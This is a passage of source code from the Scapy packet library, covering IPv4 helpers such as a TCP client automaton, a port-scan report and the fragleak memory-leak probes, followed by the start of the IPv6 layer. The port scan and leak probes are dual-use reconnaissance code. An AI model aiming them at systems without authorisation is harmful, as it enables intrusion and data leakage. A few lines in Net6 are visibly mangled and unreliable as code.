'Unkown Hops'... mtrc.guess_unk_asns() # # Debug: Print object vars at verbose level 8... if verbose == 8: print("mtrc._target (User Target(s)):") print("=======================================================") print(mtrc._target) print("\nmtrc._exptrg (Resolved and Expanded Target(s)):") print("=======================================================") print(mtrc._exptrg) print("\nmtrc._host2ip (Target Host Name to IP Address):") print("=======================================================") print(mtrc._host2ip) print("\nmtrc._ip2host (Target IP Address to Host Name):") print("=======================================================") print(mtrc._ip2host) print("\nmtrc._res (Trace Response Packets):") print("=======================================================") print(mtrc._res) print("\nmtrc._ures (Trace Unresponse Packets):") print("=======================================================") print(mtrc._ures) print("\nmtrc._ips (Trace Unique IPv4 Addresses):") print("=======================================================") print(mtrc._ips) print("\nmtrc._rt (Individual Route Traces):") print("=======================================================") print(mtrc._rt) print("\nmtrc._rtt (Round Trip Times (msecs) for Trace Nodes):") print("=======================================================") print(mtrc._rtt) print("\nmtrc._hops (Traceroute Hop Ranges):") print("=======================================================") print(mtrc._hops) print("\nmtrc._tlblid (Target Trace Label IDs):") print("=======================================================") print(mtrc._tlblid) print("\nmtrc._ports (Completed Targets & Ports):") print("=======================================================") print(mtrc._ports) print("\nmtrc._portsdone (Completed Trace Routes & Ports):") print("=======================================================") print(mtrc._portsdone) print("\nconf.L3socket (Layer 3 Socket Method):") print("=======================================================") print(conf.L3socket) print("\nconf.AS_resolver Resolver (AS Resolver Method):") print("=======================================================") print(conf.AS_resolver) print("\nmtrc._asns (AS Numbers):") print("=======================================================") print(mtrc._asns) print("\nmtrc._asds (AS Descriptions):") print("=======================================================") print(mtrc._asds) print("\nmtrc._unks (Unknown Hops IP Boundary for AS Numbers):") print("=======================================================") print(mtrc._unks) print("\nmtrc._iface (Trace Interface):") print("=======================================================") print(mtrc._iface) print("\nmtrc._gw (Trace Default Gateway IPv4 Address):") print("=======================================================") print(mtrc._gw) return mtrc ########################### # Simple TCP client stack # ########################### class TCP_client(Automaton): def parse_args(self, ip, port, *args, **kargs): self.dst = next(iter(Net(ip))) self.dport = port self.sport = random.randrange(0, 2**16) self.l4 = IP(dst=ip) / TCP(sport=self.sport, dport=self.dport, flags=0, seq=random.randrange(0, 2**32)) self.src = self.l4.src self.swin = self.l4[TCP].window self.dwin = 1 self.rcvbuf = "" bpf = "host %s and host %s and port %i and port %i" % (self.src, self.dst, self.sport, self.dport) # bpf=None Automaton.parse_args(self, filter=bpf, **kargs) def master_filter(self, pkt): return (IP in pkt and pkt[IP].src == self.dst and pkt[IP].dst == self.src and TCP in pkt and pkt[TCP].sport == self.dport and pkt[TCP].dport == self.sport and self.l4[TCP].seq >= pkt[TCP].ack and # XXX: seq/ack 2^32 wrap up ((self.l4[TCP].ack == 0) or (self.l4[TCP].ack <= pkt[TCP].seq <= self.l4[TCP].ack + self.swin))) @ATMT.state(initial=1) def START(self): pass @ATMT.state() def SYN_SENT(self): pass @ATMT.state() def ESTABLISHED(self): pass @ATMT.state() def LAST_ACK(self): pass @ATMT.state(final=1) def CLOSED(self): pass @ATMT.condition(START) def connect(self): raise self.SYN_SENT() @ATMT.action(connect) def send_syn(self): self.l4[TCP].flags = "S" self.send(self.l4) self.l4[TCP].seq += 1 @ATMT.receive_condition(SYN_SENT) def synack_received(self, pkt): if pkt[TCP].flags & 0x3f == 0x12: raise self.ESTABLISHED().action_parameters(pkt) @ATMT.action(synack_received) def send_ack_of_synack(self, pkt): self.l4[TCP].ack = pkt[TCP].seq + 1 self.l4[TCP].flags = "A" self.send(self.l4) @ATMT.receive_condition(ESTABLISHED) def incoming_data_received(self, pkt): if not isinstance(pkt[TCP].payload, NoPayload) and not isinstance(pkt[TCP].payload, conf.padding_layer): raise self.ESTABLISHED().action_parameters(pkt) @ATMT.action(incoming_data_received) def receive_data(self, pkt): data = (bytes(pkt[TCP].payload)) if data and self.l4[TCP].ack == pkt[TCP].seq: self.l4[TCP].ack += len(data) self.l4[TCP].flags = "A" self.send(self.l4) self.rcvbuf += data if pkt[TCP].flags & 8 != 0: # PUSH self.oi.tcp.send(self.rcvbuf) self.rcvbuf = "" @ATMT.ioevent(ESTABLISHED, name="tcp", as_supersocket="tcplink") def outgoing_data_received(self, fd): raise self.ESTABLISHED().action_parameters(fd.recv()) @ATMT.action(outgoing_data_received) def send_data(self, d): self.l4[TCP].flags = "PA" self.send(self.l4 / d) self.l4[TCP].seq += len(d) @ATMT.receive_condition(ESTABLISHED) def reset_received(self, pkt): if pkt[TCP].flags & 4 != 0: raise self.CLOSED() @ATMT.receive_condition(ESTABLISHED) def fin_received(self, pkt): if pkt[TCP].flags & 0x1 == 1: raise self.LAST_ACK().action_parameters(pkt) @ATMT.action(fin_received) def send_finack(self, pkt): self.l4[TCP].flags = "FA" self.l4[TCP].ack = pkt[TCP].seq + 1 self.send(self.l4) self.l4[TCP].seq += 1 @ATMT.receive_condition(LAST_ACK) def ack_of_fin_received(self, pkt): if pkt[TCP].flags & 0x3f == 0x10: raise self.CLOSED() ################### # Reporting stuff # ################### def report_ports(target, ports): """portscan a target and output a LaTeX table report_ports(target, ports) -> string""" ans, unans = sr(IP(dst=target) / TCP(dport=ports), timeout=5) rep = "\\begin{tabular}{|r|l|l|}\n\\hline\n" for _, r in ans: if not r.haslayer(ICMP): if r.payload.flags == 0x12: rep += r.sprintf("%TCP.sport% & open & SA \\\\\n") rep += "\\hline\n" for _, r in ans: if r.haslayer(ICMP): rep += r.sprintf("%TCPerror.dport% & closed & ICMP type %ICMP.type%/%ICMP.code% from %IP.src% \\\\\n") elif r.payload.flags != 0x12: rep += r.sprintf("%TCP.sport% & closed & TCP %TCP.flags% \\\\\n") rep += "\\hline\n" for i in unans: rep += i.sprintf("%TCP.dport% & ? & unanswered \\\\\n") rep += "\\hline\n\\end{tabular}\n" return rep def IPID_count(lst, funcID=lambda x: x[1].id, funcpres=lambda x: x[1].summary()): idlst = map(funcID, lst) idlst.sort() # classes = [idlst[0]]+map(lambda x:x[1],filter(lambda (x,y): abs(x-y)>50, map(lambda x,y: (x,y),idlst[:-1], idlst[1:]))) classes = [idlst[0]] + list(map(lambda x: x[1], filter(lambda a: abs(a[0] - a[1]) > 50, map(lambda x, y: (x, y), idlst[:-1], idlst[1:])))) lst = map(lambda x: (funcID(x), funcpres(x)), lst) lst.sort() print("Probably %i classes:" % len(classes), classes) for id, pr in lst: print("%5i" % id, pr) def fragleak(target, sport=123, dport=123, timeout=0.2, onlyasc=0): load = "XXXXYYYYYYYYYY" # getmacbyip(target) # pkt = IP(dst=target, id=RandShort(), options="\x22"*40)/UDP()/load pkt = IP(dst=target, id=RandShort(), options="\x00" * 40, flags=1) / UDP(sport=sport, dport=sport) / load s = conf.L3socket() intr = 0 found = {} try: while 1: try: if not intr: s.send(pkt) sin, _, _ = select([s], [], [], timeout) if not sin: continue ans = s.recv(1600) if not isinstance(ans, IP): # TODO: IPv6 continue if not isinstance(ans.payload, ICMP): continue if not isinstance(ans.payload.payload, IPerror): continue if ans.payload.payload.dst != target: continue if ans.src != target: print("leak from", ans.src, end=" ") # print repr(ans) if not ans.haslayer(conf.padding_layer): continue # print repr(ans.payload.payload.payload.payload) # if not isinstance(ans.payload.payload.payload.payload, conf.raw_layer): # continue # leak = ans.payload.payload.payload.payload.load[len(load):] leak = ans.getlayer(conf.padding_layer).load if leak not in found: found[leak] = None linehexdump(leak, onlyasc=onlyasc) except KeyboardInterrupt: if intr: raise intr = 1 except KeyboardInterrupt: pass def fragleak2(target, timeout=0.4, onlyasc=0): found = {} try: while 1: p = sr1(IP(dst=target, options="\x00" * 40, proto=200) / "XXXXYYYYYYYYYYYY", timeout=timeout, verbose=0) if not p: continue if conf.padding_layer in p: leak = p[conf.padding_layer].load if leak not in found: found[leak] = None linehexdump(leak, onlyasc=onlyasc) except: pass conf.stats_classic_protocols += [TCP, UDP, ICMP] conf.stats_dot11_protocols += [TCP, UDP, ICMP] if conf.ipv6_enabled: import scapy.layers.inet6 scapy-0.23/scapy/layers/inet6.py000066400000000000000000003470551320561231000166010ustar00rootroot00000000000000#! /usr/bin/env python ############################################################################# ## ## ## inet6.py --- IPv6 support for Scapy ## ## see http://natisbad.org/IPv6/ ## ## for more informations ## ## ## ## Copyright (C) 2005 Guillaume Valadon ## ## Arnaud Ebalard ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# """ IPv6 (Internet Protocol v6). """ import socket if not socket.has_ipv6: raise socket.error("can't use AF_INET6, IPv6 is disabled") if not hasattr(socket, "IPPROTO_IPV6"): # Workaround for http://bugs.python.org/issue6926 socket.IPPROTO_IPV6 = 41 if not hasattr(socket, "IPPROTO_IPIP"): socket.IPPROTO_IPIP = 4 from scapy.config import conf from scapy.layers.l2 import * from scapy.layers.inet import * from scapy.fields import * from scapy.packet import * from scapy.volatile import * from scapy.sendrecv import sr,sr1,srp1 from scapy.as_resolvers import AS_resolver_riswhois from scapy.supersocket import SuperSocket,L3RawSocket from scapy.arch import * from scapy.utils6 import * ############################################################################# # Helpers ## ############################################################################# def get_cls(name, fallback_cls): return globals().get(name, fallback_cls) ########################## ## Neighbor cache stuff ## ########################## conf.netcache.new_cache("in6_neighbor", 120) def neighsol(addr, src, iface, timeout=1, chainCC=0): """ Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr. 'src' address is used as source of the message. Message is sent on iface. By default, timeout waiting for an answer is 1 second. If no answer is gathered, None is returned. Else, the answer is returned (ethernet frame). """ nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr)) d = inet_ntop(socket.AF_INET6, nsma) dm = in6_getnsmac(nsma) p = Ether(dst=dm)/IPv6(dst=d, src=src, hlim=255) p /= ICMPv6ND_NS(tgt=addr) p /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface)) res = srp1(p,type=ETH_P_IPV6, iface=iface, timeout=1, verbose=0, chainCC=chainCC) return res def getmacbyip6(ip6, chainCC=0): """ Returns the mac address to be used for provided 'ip6' peer. neighborCache.get() method is used on instantiated neighbor cache. Resolution mechanism is described in associated doc string. (chainCC parameter value ends up being passed to sending function used to perform the resolution, if needed) """ if in6_ismaddr(ip6): # Multicast mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6)) return mac iff,a,nh = conf.route6.route(ip6, dev=conf.iface6) if iff == LOOPBACK_NAME: return "ff:ff:ff:ff:ff:ff" if nh != '::': ip6 = nh # Found next hop mac = conf.netcache.in6_neighbor.get(ip6) if mac: return mac res = neighsol(ip6, a, iff, chainCC=chainCC) if res is not None: if ICMPv6NDOptDstLLAddr in res: mac = res[ICMPv6NDOptDstLLAddr].lladdr else: mac = res.src conf.netcache.in6_neighbor[ip6] = mac return mac return None ############################################################################# ############################################################################# ### IPv6 addresses manipulation routines ### ############################################################################# ############################################################################# class Net6(Gen): # syntax ex. fec0::/126 """Generate a list of IPv6s from a network address or a name""" name = "ipv6" ipaddress = re.compile(r"^([a-fA-F0-9:]+)(/[1]?[0-3]?[0-9])?$") def __init__(self, net): self.repr = net tmp = net.split('/')+["128"] if not self.ipaddress.match(net): tmp[0]=socket.getaddrinfo(tmp[0], None, socket.AF_INET6)[0][-1][0] netmask = int(tmp[1]) self.net = inet_pton(socket.AF_INET6, tmp[0]) self.mask = in6_cidr2mask(netmask) self.plen = netmask def __iter__(self): def m8(i): if i % 8 == 0: return i #tuple = filter(lambda x: m8(x), range(8, 129)) tuple = [ x for x in range(8, 129) if m8(x) ] a = in6_and(self.net, self.mask) tmp = map(lambda x: x, struct.unpack('16B', a)) def parse_digit(a, netmask): netmask = min(8,max(netmask,0)) a = (int(a) & (0xff<>(8-netmask)))+1) return a self.parsed = list(map(lambda x,y: parse_digit(x,y), tmp, map(lambda x,nm=self.plen: x-nm, tuple))) def rec(n, l): if n and n % 2 == 0: sep = ':' else: sep = '' if n == 16: return l else: ll = [] for i in range(*self.parsed[n]): for y in l: ll += [y+sep+'%.2x'%i] return rec(n+1, ll) return iter(rec(0, [''])) def __repr__(self): return "" % self.repr ############################################################################# ############################################################################# ### IPv6 Class ### ############################################################################# ############################################################################# class IP6Field(Field): def __init__(self, name, default): Field.__init__(self, name, default, "16s") def h2i(self, pkt, x): if type(x) is str: try: x = in6_ptop(x) except socket.error: x = Net6(x) elif type(x) is list: x = map(Net6, x) return x def i2m(self, pkt, x): return inet_pton(socket.AF_INET6, x) def m2i(self, pkt, x): return inet_ntop(socket.AF_INET6, x) def any2i(self, pkt, x): return self.h2i(pkt,x) def i2repr(self, pkt, x): if x is None: return self.i2h(pkt,x) elif not isinstance(x, Net6) and not type(x) is list: if in6_isaddrTeredo(x): # print Teredo info server, flag, maddr, mport = teredoAddrExtractInfo(x) return "%s [Teredo srv: %s cli: %s:%s]" % (self.i2h(pkt, x), server, maddr,mport) elif in6_isaddr6to4(x): # print encapsulated address vaddr = in6_6to4ExtractAddr(x) return "%s [6to4 GW: %s]" % (self.i2h(pkt, x), vaddr) return self.i2h(pkt, x) # No specific information to return def randval(self): return RandIP6() class SourceIP6Field(IP6Field): def __init__(self, name, dstname): IP6Field.__init__(self, name, None) self.dstname = dstname def i2m(self, pkt, x): if x is None: dst=getattr(pkt,self.dstname) iff,x,nh = conf.route6.route(dst) return IP6Field.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: dst=getattr(pkt,self.dstname) if isinstance(dst,Gen): r = map(conf.route6.route, dst) r.sort() if r[0] == r[-1]: x=r[0][1] else: warning("More than one possible route for %s"%repr(dst)) return None else: iff,x,nh = conf.route6.route(dst) return IP6Field.i2h(self, pkt, x) ipv6nh = { 0:"Hop-by-Hop Option Header", 4:"IP", 6:"TCP", 17:"UDP", 41:"IPv6", 43:"Routing Header", 44:"Fragment Header", 47:"GRE", 50:"ESP Header", 51:"AH Header", 58:"ICMPv6", 59:"No Next Header", 60:"Destination Option Header", 135:"Mobility Header"} ipv6nhcls = { 0: "IPv6ExtHdrHopByHop", 4: "IP", 6: "TCP", 17: "UDP", 43: "IPv6ExtHdrRouting", 44: "IPv6ExtHdrFragment", #50: "IPv6ExtHrESP", #51: "IPv6ExtHdrAH", 58: "ICMPv6Unknown", 59: "Raw", 60: "IPv6ExtHdrDestOpt" } class IP6ListField(StrField): islist = 1 def __init__(self, name, default, count_from=None, length_from=None): if default is None: default = [] StrField.__init__(self, name, default) self.count_from = count_from self.length_from = length_from def i2len(self, pkt, i): return 16*len(i) def i2count(self, pkt, i): if type(i) is list: return len(i) return 0 def getfield(self, pkt, s): c = l = None if self.length_from is not None: l = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) lst = [] ret = b"" remain = s if l is not None: remain,ret = s[:l],s[l:] while remain: if c is not None: if c <= 0: break c -= 1 addr = inet_ntop(socket.AF_INET6, remain[:16]) lst.append(addr) remain = remain[16:] return remain+ret,lst def i2m(self, pkt, x): s = b'' for y in x: try: y = inet_pton(socket.AF_INET6, y) except: y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0] y = inet_pton(socket.AF_INET6, y) s += y return s def i2repr(self,pkt,x): s = [] if x == None: return "[]" for y in x: s.append('%s' % y) return "[ %s ]" % (", ".join(s)) class _IPv6GuessPayload: name = "Dummy class that implements guess_payload_class() for IPv6" def default_payload_class(self,p): if self.nh == 58: # ICMPv6 #t = ord(p[0]) t = p[0] if len(p) > 2 and t == 139 or t == 140: # Node Info Query return _niquery_guesser(p) if len(p) >= icmp6typesminhdrlen.get(t, sys.maxsize): # Other ICMPv6 messages return get_cls(icmp6typescls.get(t,"Raw"), "Raw") return Raw elif self.nh == 135 and len(p) > 3: # Mobile IPv6 #return _mip6_mhtype2cls.get(ord(p[2]), MIP6MH_Generic) return _mip6_mhtype2cls.get(p[2], MIP6MH_Generic) else: return get_cls(ipv6nhcls.get(self.nh,"Raw"), "Raw") class IPv6(_IPv6GuessPayload, Packet, IPTools): name = "IPv6" fields_desc = [ BitField("version" , 6 , 4), BitField("tc", 0, 8), #TODO: IPv6, ByteField ? BitField("fl", 0, 20), ShortField("plen", None), ByteEnumField("nh", 59, ipv6nh), ByteField("hlim", 64), SourceIP6Field("src", "dst"), # dst is for src @ selection IP6Field("dst", "::1") ] def route(self): dst = self.dst if isinstance(dst,Gen): dst = next(iter(dst)) return conf.route6.route(dst) def mysummary(self): return "%s > %s (%i)" % (self.src,self.dst, self.nh) def post_build(self, p, pay): p += pay if self.plen is None: l = len(p) - 40 p = p[:4]+struct.pack("!H", l)+p[6:] return p def extract_padding(self, s): l = self.plen return s[:l], s[l:] def hashret(self): if self.nh == 58 and isinstance(self.payload, _ICMPv6): if self.payload.type < 128: return self.payload.payload.hashret() elif (self.payload.type in [133,134,135,136,144,145]): return struct.pack("B", self.nh)+self.payload.hashret() nh = self.nh sd = self.dst ss = self.src if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting): # With routing header, the destination is the last # address of the IPv6 list if segleft > 0 nh = self.payload.nh try: sd = self.addresses[-1] except IndexError: sd = '::1' # TODO: big bug with ICMPv6 error messages as the destination of IPerror6 # could be anything from the original list ... if 1: sd = inet_pton(socket.AF_INET6, sd) for a in self.addresses: a = inet_pton(socket.AF_INET6, a) sd = strxor(sd, a) sd = inet_ntop(socket.AF_INET6, sd) if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment): nh = self.payload.nh if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop): nh = self.payload.nh if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): foundhao = None for o in self.payload.options: if isinstance(o, HAO): foundhao = o if foundhao: nh = self.payload.nh # XXX what if another extension follows ? ss = foundhao.hoa if conf.checkIPsrc and conf.checkIPaddr: sd = inet_pton(socket.AF_INET6, sd) ss = inet_pton(socket.AF_INET6, self.src) return struct.pack("B",nh)+self.payload.hashret() else: return struct.pack("B", nh)+self.payload.hashret() def answers(self, other): if not isinstance(other, IPv6): # self is reply, other is request return False if conf.checkIPaddr: ss = inet_pton(socket.AF_INET6, self.src) sd = inet_pton(socket.AF_INET6, self.dst) os = inet_pton(socket.AF_INET6, other.src) od = inet_pton(socket.AF_INET6, other.dst) # request was sent to a multicast address (other.dst) # Check reply destination addr matches request source addr (i.e # sd == os) except when reply is multicasted too # XXX test mcast scope matching ? if in6_ismaddr(other.dst): if in6_ismaddr(self.dst): if ((od == sd) or (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))): return self.payload.answers(other.payload) return False if (os == sd): return self.payload.answers(other.payload) return False elif (sd != os): # or ss != od): <- removed for ICMP errors return False if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128: # ICMPv6 Error message -> generated by IPv6 packet # Note : at the moment, we jump the ICMPv6 specific class # to call answers() method of erroneous packet (over # initial packet). There can be cases where an ICMPv6 error # class could implement a specific answers method that perform # a specific task. Currently, don't see any use ... return self.payload.payload.answers(other) elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop): return self.payload.answers(other.payload.payload) elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment): return self.payload.answers(other.payload.payload) elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting): return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt): return self.payload.payload.answers(other.payload.payload) elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance return self.payload.payload.answers(other.payload) else: if (self.nh != other.nh): return False return self.payload.answers(other.payload) conf.neighbor.register_l3(Ether, IPv6, lambda l2,l3: getmacbyip6(l3.dst)) class IPerror6(IPv6): name = "IPv6 in ICMPv6" def answers(self, other): if not isinstance(other, IPv6): return False sd = inet_pton(socket.AF_INET6, self.dst) ss = inet_pton(socket.AF_INET6, self.src) od = inet_pton(socket.AF_INET6, other.dst) os = inet_pton(socket.AF_INET6, other.src) # Make sure that the ICMPv6 error is related to the packet scapy sent if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128: # find upper layer for self (possible citation) selfup = self.payload while selfup is not None and isinstance(selfup, _IPv6ExtHdr): selfup = selfup.payload # find upper layer for other (initial packet). Also look for RH otherup = other.payload request_has_rh = False while otherup is not None and isinstance(otherup, _IPv6ExtHdr): if isinstance(otherup, IPv6ExtHdrRouting): request_has_rh = True otherup = otherup.payload if ((ss == os and sd == od) or # <- Basic case (ss == os and request_has_rh)): # <- Request has a RH : # don't check dst address # Let's deal with possible MSS Clamping if (isinstance(selfup, TCP) and isinstance(otherup, TCP) and selfup.options != otherup.options): # seems clamped # Save fields modified by MSS clamping old_otherup_opts = otherup.options old_otherup_cksum = otherup.chksum old_otherup_dataofs = otherup.dataofs old_selfup_opts = selfup.options old_selfup_cksum = selfup.chksum old_selfup_dataofs = selfup.dataofs # Nullify them otherup.options = [] otherup.chksum = 0 otherup.dataofs = 0 selfup.options = [] selfup.chksum = 0 selfup.dataofs = 0 # Test it and save result s1 = bytes(selfup) s2 = bytes(otherup) l = min(len(s1), len(s2)) res = s1[:l] == s2[:l] # recall saved values otherup.options = old_otherup_opts otherup.chksum = old_otherup_cksum otherup.dataofs = old_otherup_dataofs selfup.options = old_selfup_opts selfup.chksum = old_selfup_cksum selfup.dataofs = old_selfup_dataofs return res s1 = bytes(selfup) s2 = bytes(otherup) l = min(len(s1), len(s2)) return s1[:l] == s2[:l] return False def mysummary(self): return Packet.mysummary(self) ############################################################################# ############################################################################# ### Upper Layer Checksum computation ### ############################################################################# ############################################################################# class PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation name = "Pseudo IPv6 Header" fields_desc = [ IP6Field("src", "::"), IP6Field("dst", "::"), ShortField("uplen", None), BitField("zero", 0, 24), ByteField("nh", 0) ] def in6_chksum(nh, u, p): """ Performs IPv6 Upper Layer checksum computation. Provided parameters are: - 'nh' : value of upper layer protocol - 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all under layers (IPv6 and all extension headers, for example) - 'p' : the payload of the upper layer provided as a string Functions operate by filling a pseudo header class instance (PseudoIPv6) with - Next Header value - the address of _final_ destination (if some Routing Header with non segleft field is present in underlayer classes, last address is used.) - the address of _real_ source (basically the source address of an IPv6 class instance available in the underlayer or the source address in HAO option if some Destination Option header found in underlayer includes this option). - the length is the length of provided payload string ('p') """ ph6 = PseudoIPv6() ph6.nh = nh rthdr = 0 hahdr = 0 final_dest_addr_found = 0 while u != None and not isinstance(u, IPv6): if (isinstance(u, IPv6ExtHdrRouting) and u.segleft != 0 and len(u.addresses) != 0 and final_dest_addr_found == 0): rthdr = u.addresses[-1] final_dest_addr_found = 1 elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and isinstance(u.options[0], HAO)): hahdr = u.options[0].hoa u = u.underlayer if u is None: warning("No IPv6 underlayer to compute checksum. Leaving null.") return 0 if hahdr: ph6.src = hahdr else: ph6.src = u.src if rthdr: ph6.dst = rthdr else: ph6.dst = u.dst ph6.uplen = len(p) ph6s = bytes(ph6) return checksum(ph6s+p) ############################################################################# ############################################################################# ### Extension Headers ### ############################################################################# ############################################################################# # Inherited by all extension header classes class _IPv6ExtHdr(_IPv6GuessPayload, Packet): name = 'Abstract IPV6 Option Header' aliastypes = [IPv6, IPerror6] # TODO ... #################### IPv6 options for Extension Headers ##################### _hbhopts = { 0x00: "Pad1", 0x01: "PadN", 0x04: "Tunnel Encapsulation Limit", 0x05: "Router Alert", 0x06: "Quick-Start", 0xc2: "Jumbo Payload", 0xc9: "Home Address Option" } class _OTypeField(ByteEnumField): """ Modified BytEnumField that displays information regarding the IPv6 option based on its option type value (What should be done by nodes that process the option if they do not understand it ...) It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options """ pol = {0x00: "00: skip", 0x40: "01: discard", 0x80: "10: discard+ICMP", 0xC0: "11: discard+ICMP not mcast"} enroutechange = {0x00: "0: Don't change en-route", 0x20: "1: May change en-route" } def i2repr(self, pkt, x): s = self.i2s.get(x, repr(x)) polstr = self.pol[(x & 0xC0)] enroutechangestr = self.enroutechange[(x & 0x20)] return "%s [%s, %s]" % (s, polstr, enroutechangestr) class HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option name = "Scapy6 Unknown Option" fields_desc = [_OTypeField("otype", 0x01, _hbhopts), FieldLenField("optlen", None, length_of="optdata", fmt="B"), StrLenField("optdata", "", length_from = lambda pkt: pkt.optlen) ] def alignment_delta(self, curpos): # By default, no alignment requirement """ As specified in section 4.2 of RFC 2460, every options has an alignment requirement ususally expressed xn+y, meaning the Option Type must appear at an integer multiple of x octest from the start of the header, plus y octet. That function is provided the current position from the start of the header and returns required padding length. """ return 0 class Pad1(Packet): # IPv6 Hop-By-Hop Option name = "Pad1" fields_desc = [ _OTypeField("otype", 0x00, _hbhopts) ] def alignment_delta(self, curpos): # No alignment requirement return 0 class PadN(Packet): # IPv6 Hop-By-Hop Option name = "PadN" fields_desc = [_OTypeField("otype", 0x01, _hbhopts), FieldLenField("optlen", None, length_of="optdata", fmt="B"), StrLenField("optdata", "", length_from = lambda pkt: pkt.optlen)] def alignment_delta(self, curpos): # No alignment requirement return 0 class RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option name = "Router Alert" fields_desc = [_OTypeField("otype", 0x05, _hbhopts), ByteField("optlen", 2), ShortEnumField("value", None, { 0: "Datagram contains a MLD message", 1: "Datagram contains RSVP message", 2: "Datagram contains an Active Network message" }) ] # TODO : Check IANA has not defined new values for value field of RouterAlertOption # TODO : now that we have that option, we should do something in MLD class that need it def alignment_delta(self, curpos): # alignment requirement : 2n+0 x = 2 ; y = 0 delta = x*((curpos - y + x - 1)//x) + y - curpos return delta class Jumbo(Packet): # IPv6 Hop-By-Hop Option name = "Jumbo Payload" fields_desc = [_OTypeField("otype", 0xC2, _hbhopts), ByteField("optlen", 4), IntField("jumboplen", None) ] def alignment_delta(self, curpos): # alignment requirement : 4n+2 x = 4 ; y = 2 delta = x*((curpos - y + x - 1)//x) + y - curpos return delta class HAO(Packet): # IPv6 Destination Options Header Option name = "Home Address Option" fields_desc = [_OTypeField("otype", 0xC9, _hbhopts), ByteField("optlen", 16), IP6Field("hoa", "::") ] def alignment_delta(self, curpos): # alignment requirement : 8n+6 x = 8 ; y = 6 delta = x*((curpos - y + x - 1)//x) + y - curpos return delta _hbhoptcls = { 0x00: Pad1, 0x01: PadN, 0x05: RouterAlert, 0xC2: Jumbo, 0xC9: HAO } ######################## Hop-by-Hop Extension Header ######################## class _HopByHopOptionsField(PacketListField): islist = 1 holds_packet = 1 def __init__(self, name, default, cls, curpos, count_from=None, length_from=None): self.curpos = curpos PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from) def i2len(self, pkt, i): l = len(self.i2m(pkt, i)) return l def i2count(self, pkt, i): if type(i) is list: return len(i) return 0 def getfield(self, pkt, s): c = l = None if self.length_from is not None: l = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) opt = [] ret = b"" x = s if l is not None: x,ret = s[:l],s[l:] while x: if c is not None: if c <= 0: break c -= 1 #o = ord(x[0]) # Option type o = x[0] # Option type cls = self.cls if o in _hbhoptcls: cls = _hbhoptcls[o] try: op = cls(x) except: op = self.cls(x) opt.append(op) if isinstance(op.payload, conf.raw_layer): x = op.payload.load del(op.payload) else: x = b"" return x+ret,opt def i2m(self, pkt, x): autopad = None try: autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field except: autopad = 1 if not autopad: return b"".join(map(bytes, x)) curpos = self.curpos s = b"" for p in x: d = p.alignment_delta(curpos) curpos += d if d == 1: s += bytes(Pad1()) elif d != 0: s += bytes(PadN(optdata=b'\x00'*(d-2))) pstr = bytes(p) curpos += len(pstr) s += pstr # Let's make the class including our option field # a multiple of 8 octets long d = curpos % 8 if d == 0: return s d = 8 - d if d == 1: s += bytes(Pad1()) elif d != 0: s += bytes(PadN(optdata=b'\x00'*(d-2))) return s def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) class _PhantomAutoPadField(ByteField): def addfield(self, pkt, s, val): return s def getfield(self, pkt, s): return s, 1 def i2repr(self, pkt, x): if x: return "On" return "Off" class IPv6ExtHdrHopByHop(_IPv6ExtHdr): name = "IPv6 Extension Header - Hop-by-Hop Options Header" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, length_of="options", fmt="B", adjust = lambda pkt,x: (x+2+7)//8 - 1), _PhantomAutoPadField("autopad", 1), # autopad activated by default _HopByHopOptionsField("options", [], HBHOptUnknown, 2, length_from = lambda pkt: (8*(pkt.len+1))-2) ] overload_fields = {IPv6: { "nh": 0 }} ######################## Destination Option Header ########################## class IPv6ExtHdrDestOpt(_IPv6ExtHdr): name = "IPv6 Extension Header - Destination Options Header" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, length_of="options", fmt="B", adjust = lambda pkt,x: (x+2+7)//8 - 1), _PhantomAutoPadField("autopad", 1), # autopad activated by default _HopByHopOptionsField("options", [], HBHOptUnknown, 2, length_from = lambda pkt: (8*(pkt.len+1))-2) ] overload_fields = {IPv6: { "nh": 60 }} ############################# Routing Header ################################ class IPv6ExtHdrRouting(_IPv6ExtHdr): name = "IPv6 Option Header Routing" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, count_of="addresses", fmt="B", adjust = lambda pkt,x:2*x), # in 8 bytes blocks ByteField("type", 0), ByteField("segleft", None), BitField("reserved", 0, 